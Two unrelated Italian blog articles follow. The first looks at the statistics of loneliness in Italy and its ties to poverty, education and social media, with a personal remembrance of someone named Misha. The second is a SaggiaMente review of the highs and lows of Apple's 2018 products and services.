Sapete quanti sono in Italia i nuclei familiari composti da una sola persona? Quasi 3 milioni, pari al 20% delle famiglie, con una crescita anno dopo anno continua. Che cosa significa tutto ciò? C’è una tendenza ad essere sempre più single o ci sono anche altre ragioni? Altre ricerche (InfoData del Sole24ore), partendo dai dati ISTAT hanno messo in relazione i dati demografici con gli indicatori economici e sociali.
Risultato? È la povertà che ci rende soli. Quelle persone che hanno un reddito inferiore al 60% del reddito medio nazionale, ovvero coloro che sono a rischio di povertà o di esclusione sociale, sono le stesse che manifestano problemi di solitudine. È noto che quando manca il denaro è più facile che le persone finiscano per ritrovarsi nella solitudine. Una piccola conferma empirica del detto secondo il quale i soldi non fanno la felicità? O, almeno, la socialità? Il 13,2% degli italiani con più di 16 anni non ha una persona alla quale chiedere aiuto. Si tratta della percentuale più alta a livello europeo, dove la media è al 6%. Ancora, il 12% dei nostri connazionali non ha qualcuno con cui parlare e condividere i propri problemi personali, contro una media europea del 6,1%. Insomma un italiano su otto si sente solo. Vuoi perché non può rivolgersi a nessuno per chiedere aiuto, vuoi perché non ha un amico o un familiare con cui parlare dei problemi più intimi. Una quota percentuale di solitudine doppia, rispetto a quella europea.
Il nostro Paese è il più “vecchio”, dopo la Germania, e ci offre un esempio più lampante nell’equazione: popolazione più anziana uguale popolazione più sola. C’è però un elemento che sembra invece correlare positivamente con la solitudine. Nel senso che, quando cresce il livello d’istruzione, riduce la quota di persone che si dichiarano sole. L’Italia lo sappiamo ha una percentuale di cittadini che hanno concluso l’università tra le più basse d’Europa e una di quelli che si dichiarano soli tra le più alte. Incrociando infine i dati anche con un indicatore relativo alla salute. Il risultato è questo: le persone che affermano di percepire il proprio stato di salute come cattivo non porta alcun cambiamento sul fronte della solitudine. Che sembra invece dipendere in negativo dalle condizioni economiche e in positivo dal titolo di studio. Quasi a dire che la povertà ci rende soli, ma la cultura no.
Pertanto dall’analisi dei numeri sembra emergere che il tema della solitudine non riguarda i più giovani. Ma siamo sicuri che sia così? Siamo certi che essere connessi continuamente e interagire attraverso i social sia un modo per non essere soli? Avere centinaia di amici su Facebook e poi non trovare nessuno che vuole uscire per andare a bere una birra o a mangiare una pizza è un dato di fatto. Così pure postare una foto su Instagram o un twitt che riceve soltanto 10 cuoricini quanto può essere frustrante per chi è convinto che la nuova frontiera professionale è fare l’influecer o lo Youtuber?
Oggi, sono esattamente 16 mesi (480 giorni) dalla scomparsa di Misha. Ho scritto questo post perché stamattina presto quando mi sono svegliato pensavo a lui e alla grande solitudine nel quale si era calato. Lui aveva poca vita social e poche relazioni sociali. Preferiva leggere libri (di carta), seguire le serie su Netflix, giocare con la Xbox. Quindi anche lui era sempre connesso, ma sempre più solo.
Forse questo è un tema che bisogna approfondire per capire se esiste un modo positivo per utilizzare pienamente le tecnologie e le reti sociali ed allo stesso tempo conquistare la felicità. Probabilmente come si decide di iniziare la dieta dopo il periodo delle feste natalizie, sarebbe opportuno talvolta pensare anche a un’altra “dieta”: quella dai social.
Proprio perché nella nostra natura di esseri umani è più utile essere sociali che social. Ci torneremo.
Sempre più connessi e sempre più soli Nella settimana appena trascorsa siamo stati a raccontare la Versione di Misha a Noventa Vicentina, a metà strada fra Vicenza e Padova, fra i colli berici e quelli euganei.
#connessioni#esclusione sociale#Facebook#incontri#influencer#Instagram#noventa vicentina#povertà#social network#solitudine#statistiche#youtuber
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Il 2018 di Apple, tra alti e bassi
È passato un altro anno, probabilmente uno dei più controversi nella recente storia di Apple. Se nei precedenti si potevano scorgere prevalentemente punti alti, il trend a cui abbiamo assistito negli ultimi 12 mesi presenta un maggiore equilibrio tra note positive e negative, se non addirittura una preoccupante tendenza a favorire quelle dolenti. Nulla d’irrecuperabile, ovviamente: chi ha già pronte le coccarde nere a lutto è bene che le tenga riposte in un cassetto, così come gli hater forse vorranno godersi per altri eventi lo champagne tenuto appositamente in fresco per l’istanza di fallimento di Apple. Nemmeno i fan più accaniti della mela possono però chiudere gli occhi davanti alla prospettiva di un 2019 maggiormente improntato sulla difensiva da parte di Tim Cook e soci, apportando quelli che appaiono ormai come doverosi correttivi. Non è nostra intenzione porre l'accento sulle negatività, partiamo anzi dai punti alti, che non sono affatto pochi.
Alti
Apple Watch
Non ne sono utente, anzi appartengo alla parrocchia sinora perdente (Wear OS). Ma se c’è una forza trainante nel settore smartwatch, quella è identificabile nell’Apple Watch (recensione). La nuova generazione ha migliorato ancor più l’ottimo lavoro svolto dalla precedente, portando un bel maquillage, la variante 4G in molte più parti del mondo (Italia inclusa) e funzionalità ben riuscite come l’ECG che, per quanto al momento sia solo USA-only, rappresenta una vera meraviglia tecnologica se si considera la natura del dispositivo. Anche watchOS continua ad evolversi nella giusta direzione e per quanto continui in buona parte a dipendere dall’iPhone cui l’orologio è abbinato sta ricominciando a guadagnare un po’ di trazione tra gli sviluppatori terzi (vedasi di recente Spotify). La concorrenza è di fatto costituita al momento dalla sola Samsung, l’unica con una piattaforma altrettanto competitiva, per giunta sotto il naso di Google che invece continua a non trovare davvero la quadra. Probabilmente chi sostiene che l’Apple Watch sia attualmente il miglior mezzo per mantenere ancorato un utente all’ecosistema iOS non ha tutti i torti. Resta da capire per quanto durerà la situazione positiva, temendo ripercussioni sullo smartwatch per colpe non sue.
iPad Pro
Potevamo non metterlo tra i fatti positivi? La nuova serie di iPad Pro (recensione) rappresenta, almeno dal punto di vista hardware (e unità piegate a parte), un gran bel passo in avanti. Estetica moderna, Face ID e potenza da vendere. Certo non costano poco, ma non sono fatti per chi bada al budget. Apple li posiziona a tutti gli effetti come dei laptop replacement, ponendoli almeno in parte come concorrenti anche degli stessi MacBook. Il freno a mano è costituito dal software, e ci ritorneremo a breve. Per chi invece vuole un prodotto dalle buone prestazioni senza spendere un capitale, ha una validissima scelta nell’iPad 2018, che ora supporta anche la Apple Pencil di prima generazione.
SoC A12/A12X
Buona parte del merito per il piazzamento dell’iPad Pro ce l’ha indubbiamente il SoC. Gli A12/A12X rappresentano uno stato dell’arte nel mondo ARM, che Qualcomm ed altre rivali cercano di raggiungere e superare senza successo, restando ancora all’incirca 12-18 mesi indietro in termini di prestazioni. Il peccato è anche qui costituito dal succitato freno a mano, dato che in sua assenza l’ottimizzazione hardware/software tipica dei prodotti Apple permetterebbe di sfruttare al meglio la cavalleria a disposizione. Se poi siano pronti per fare il salto nei Mac, è tutt’altro discorso entrando in gioco un sistema e un parco applicazioni ben più complesso. Appare in ogni caso più una questione di quando (2020? 2021?) che di se, a meno di proposte Intel che non si potranno rifiutare.
MacBook Air e Mac mini
Vi starete chiedendo senz’altro: e il MacBook Pro? Certo, merita di stare tra gli alti (vecchia tastiera a parte), ma alla fine si è trattato di un semplice refresh hardware, per quanto corposo visto l’aumento dei core nonché il successivo arrivo delle opzioni Radeon Vega. Se ci sono due computer che devono avere l’onore della ribalta, questi sono i nuovi MacBook Air e Mac mini (recensione). Oserei dire a furor di popolo, hanno ricevuto una revisione completa tanto nell’aspetto quanto all’interno. Non sono ciambelle perfettamente riuscite, specialmente sul fronte dei prezzi, ma rappresentano un bel segnale per chi sosteneva che il Mac fosse morto al di sotto della fascia Pro. Se basteranno a quietare tali timori, tuttavia, non è ancora possibile dirlo. Come abbiamo già avuto modo di dire a più riprese quest’anno, le sfide davanti ad Apple in termini di coesistenza tra iPad e Mac sono parecchie.
AirPods
Non sono state rinnovate quest’anno, ma continuano a stupire. Le AirPods (recensione) sono ormai un simbolo quasi tanto quanto le antenate "cuffiette" bianche cablate che facevano la loro bella figura negli spot di iPod. Mantengono saldamente un alto volume di vendite e sono invidiate dalle aziende rivali che cercano di replicarne la bontà in tutti i modi. Più facile a dirsi che a farsi: qui Apple non ha commesso errori, proponendo un prodotto riuscito dal buon rapporto qualità/prezzo. Per la seconda generazione, che dovrebbe avere tra le sue peculiarità il case con ricarica wireless e la resistenza al sudore, la strada appare tutta in discesa.
iOS 12 e macOS 10.14
Diciamocela tutta: ci voleva poco per far meglio dei predecessori. Detto questo, Craig Federighi e il suo team hanno optato ad inizio anno per dare più attenzione alla qualità. E ci sono riusciti. A mio avviso più con iOS 12 che con macOS 10.14 Mojave, ma in entrambi i casi si percepisce una migliore realizzazione, frutto di bugfix e cura per le prestazioni. Scusate se è poco vedere un iPhone 5s, anno 2013, che tuttora riceve nuovi rilasci che nemmeno lo penalizzano troppo, come invece iOS 11 aveva maldestramente fatto. Detto questo, il 2019 sarà un anno chiave. Gli iPad Pro hanno bisogno di un iOS più all’altezza delle aspettative, mentre su Mac si attende il completamento dei lavori sui framework legati al progetto Marzipan, di cui Mojave offre un assaggio sotto forma di Borsa, Home e Memo Vocali, promettendo un futuro interscambio migliore di app tra piattaforma mobile e desktop.
Apple Music
Sempre più in ascesa, Apple Music è uno dei servizi meglio curati in quel di Cupertino, se non proprio il più curato. Varie acquisizioni, soprattutto quella poderosa di Shazam, e gli accordi pattuiti come quello con Amazon per l’integrazione con Alexa, stanno preparando il terreno per una ulteriore espansione futura, mentre la base d’utenza continua a crescere trasformando il mercato dello streaming musicale in una corsa a due con Spotify. La lunga esperienza di iTunes, coadiuvata dall’investimento in Beats, ha dato e sta continuando a dare anche qui i suoi frutti. Vedremo se il 2019 porterà sinergie con l’imminente servizio di streaming video e, perché no, pure Libri, rendendo Apple la terza dopo Amazon e Google ad offrire un pacchetto completo.
Bassi
HomePod e Siri
Veniamo alle note dolenti. HomePod, allo stato attuale, appare un fiasco senza mezzi termini. Soprattutto al di fuori del territorio USA. Qualitativamente il dispositivo meriterebbe: è ben realizzato ed ha un audio davvero curato. Se però tu, Apple, proponi uno smart speaker, deve essere smart. Invece ci troviamo con Siri che arranca rispetto le rivali, il supporto HomeKit che non attecchisce tra le soluzioni di domotica emergenti, un singolo prodotto contro molteplici da Amazon e Google per ogni fascia di prezzo e limitazioni geografiche in termini di disponibilità. In Italia è atteso e ci sono test in corso, come vi avevamo già rivelato nei mesi scorsi, ma considerato come Echo e Home abbiano fatto in pochi mesi man bassa dalle nostre parti, forse quasi non varrebbe più neanche la pena per Apple investire in un mercato che sembra perso ancor prima d’iniziare a combattere. Un peccato, se si considera che al contrario delle altre piattaforme smart la mela offrirebbe un livello di privacy superiore. Per fortuna dei segnali incoraggianti si vedono, con la nuova gestione in mano a John Giannandrea e recenti test che indicano, almeno negli USA, Siri in ripresa.
iPhone XR e XS
A pensare che li sto davvero collocando tra i bassi mi viene il dispiacere. Non posso fare altro, però: che XR e XS non stiano andando come auspicato appare ormai palese. Specie se si considerano solo le vendite a prezzo pieno nei negozi Apple. Passi per l'iPhone XS (recensione), una semplice evoluzione del X con l'unica aspettativa sulla variante Max destinata ad accontentare una fetta di pubblico premium abbastanza ristretta. In questo senso, forse non meritava né di essere menzionato come punto alto né come basso, se non fosse per il problema di cui parleremo a breve. Impossibile transigere invece per XR (recensione). Molti, me compreso, si aspettavano che questo dispositivo avrebbe venduto a vagonate, anche perché stavolta la formula sembrava azzeccata dal punto di vista hardware rispetto al passato tentativo del 5c. Invece, rischia di essere un flop proprio tanto quanto il 5c, a meno che le promozioni sempre più frequenti e la distribuzione a prezzi migliori su Amazon non invertano la rotta.
Prezzi
Eccoci qui. Basta menare il can per l’aia e guardiamo al vulnus più pesante per Apple nel 2018: i prezzi. Apple Watch, AirPods e iPad 9,7” a parte, si può dire che hanno tirato troppo la corda su tutti gli altri prodotti e quel bubbone che sotto la cute si stava gonfiando negli ultimi anni alla fine è esploso in maniera dolorosa. Per parecchio tempo Apple ha gongolato sui propri successi, gli utenti acquistavano in massa e i profitti erano stellari. Il nocciolo della questione è nel modo in cui si ricerca il profitto. Due sono le vie principali: o vendendo quantità elevate o alzando i prezzi accontentandosi di una nicchia. Si può cercare anche una modalità intermedia, basta non esagerare. Cosa che Apple invece ha fatto, non accorgendosi peraltro che è l’unica a perseguire un vero e propio posizionamento di lusso (non ditemi che credete davvero a Cook quando lo nega). In mercati come quelli automobilistici e dell’orologeria, l’innalzamento dei prezzi o la strategia intermedia funzionano perché le case di lusso sono numerose quasi quanto quelle di massa, permettendo così la creazione di concorrenze pressoché parallele. Ma Huawei e Samsung non sono per Apple le equivalenti di BMW e Mercedes, semplicemente perché nel settore smartphone non ce ne sono. Del resto, se Audi non fa competizione diretta a Fiat e Toyota, lasciando che a farlo siano altri marchi del gruppo Volkswagen, ci sarà un perché. Ci sarà un altro perché poi nel constatare come gli stessi marchi premium offrano spesso sconti, pardon, "vantaggi cliente" sui propri modelli e non solo quando si trovano in difficoltà. Essere un po’ più upscale ci sta, pretendere la botte piena e la moglie ubriaca no. Speriamo che il 2019 porti Apple a più miti consigli che non si limitino a modeste supervalutazioni.
AirPower
Diciamoci la verità: ormai è da considerarsi alla stregua del vaporware. I problemi progettuali menzionati dai vari report non sono triviali e la prospettiva di causare incendi, per quanto magari in fin dei conti possa non essere elevata, rende corretta la scelta da parte di Apple di non rilasciare definitivamente la base AirPower. Tanto clamore si sarebbe però evitato se il prodotto non fosse stato annunciato lo scorso anno. Non penso che i difetti strutturali risultassero allora ignoti, perciò perché fare una mossa così poco "Apple" anticipando qualcosa destinato a non arrivare? Perlomeno, non nella forma in cui l'abbiamo visto? Se vedremo l'AirPower, è probabile che avrà un bel po' di differenze rispetto quanto previsto e considerato che l'immagine del dispositivo è ormai danneggiata sul nascere anche un nuovo nome potrebbe essere di auspicio.
Prodotti seppelliti o dimenticati
Per carità, è probabile che continui ad essere una mia ossessione più che un dato di fatto. Ma resto convinto che aver eliminato l'iPhone SE, senza nemmeno avergli dato un ultimo successore, sia stato uno sbaglio. Oltre ad accontentare gli affezionati delle dimensioni ridotte, rappresentava il punto d'ingresso al mondo iPhone nonché un buon prodotto nei piani telefonici in abbonamento a scopi lavorativi/aziendali (che poi 4" non siano effettivamente così comodi per inviare lunghe email o consultare documenti al volo è un punto da concedere a favore dei detrattori). Con la crescente anzianità di iPhone 7 ed 8, mi auguro che Apple voglia considerare un futuro modello XE che vada ad offrire in un formato più compatto, attorno ai 5", le principali novità hardware (a partire da Face ID) dei modelli maggiori, come ai tempi fece SE col 6s. Desta poi stranezza il fatto che il piccolo SE sia stato rimosso quando rimane in commercio l'iPod touch ancor più vecchio nelle caratteristiche, quasi una reliquia del passato di cui Apple nemmeno sembra curarsi per dargli un'onorevole uscita di scena. Ma tant'è. Anche l'iPad mini inalterato dal 2015 costituisce una singolarità in attesa di risoluzione: qui, per fortuna, i rumor sembrano essere tutti benevoli per un rilancio nel 2019. Esulo volutamente dal discorso iMac e Mac Pro. Il primo è rimasto bloccato al 2017, sia per le vicissitudini di Intel nel rilascio dei nuovi processori desktop che per incuria di Apple; il secondo, invece, gode già della sostanziale ufficialità della nuova versione nei prossimi mesi.
Servizi in Italia
È finito il 2018, e anche quest’anno vediamo mancare all’appello in Italia: Apple News, indicazioni di corsia, limiti di velocità e sezione "nei dintorni" in Mappe, app TV e Siri nella Apple TV. Novità di questo elenco è HomePod di cui abbiamo parlato sopra. Il tutto mentre le corrispettive proposte a marchio Google sono perfettamente disponibili nel Belpaese. Non è detto che tutti gli utenti Apple vorranno utilizzare quei servizi, ma se oltre ai bellissimi Store con cascate d’acqua arrivassero qui pure i servizi, apprezzeremmo lo sforzo. In caso contrario non bisognerà stupirsi se qualcuno andrà verso chi gli offre un’ecosistema completo a tutto tondo.
L'articolo Il 2018 di Apple, tra alti e bassi proviene da SaggiaMente.
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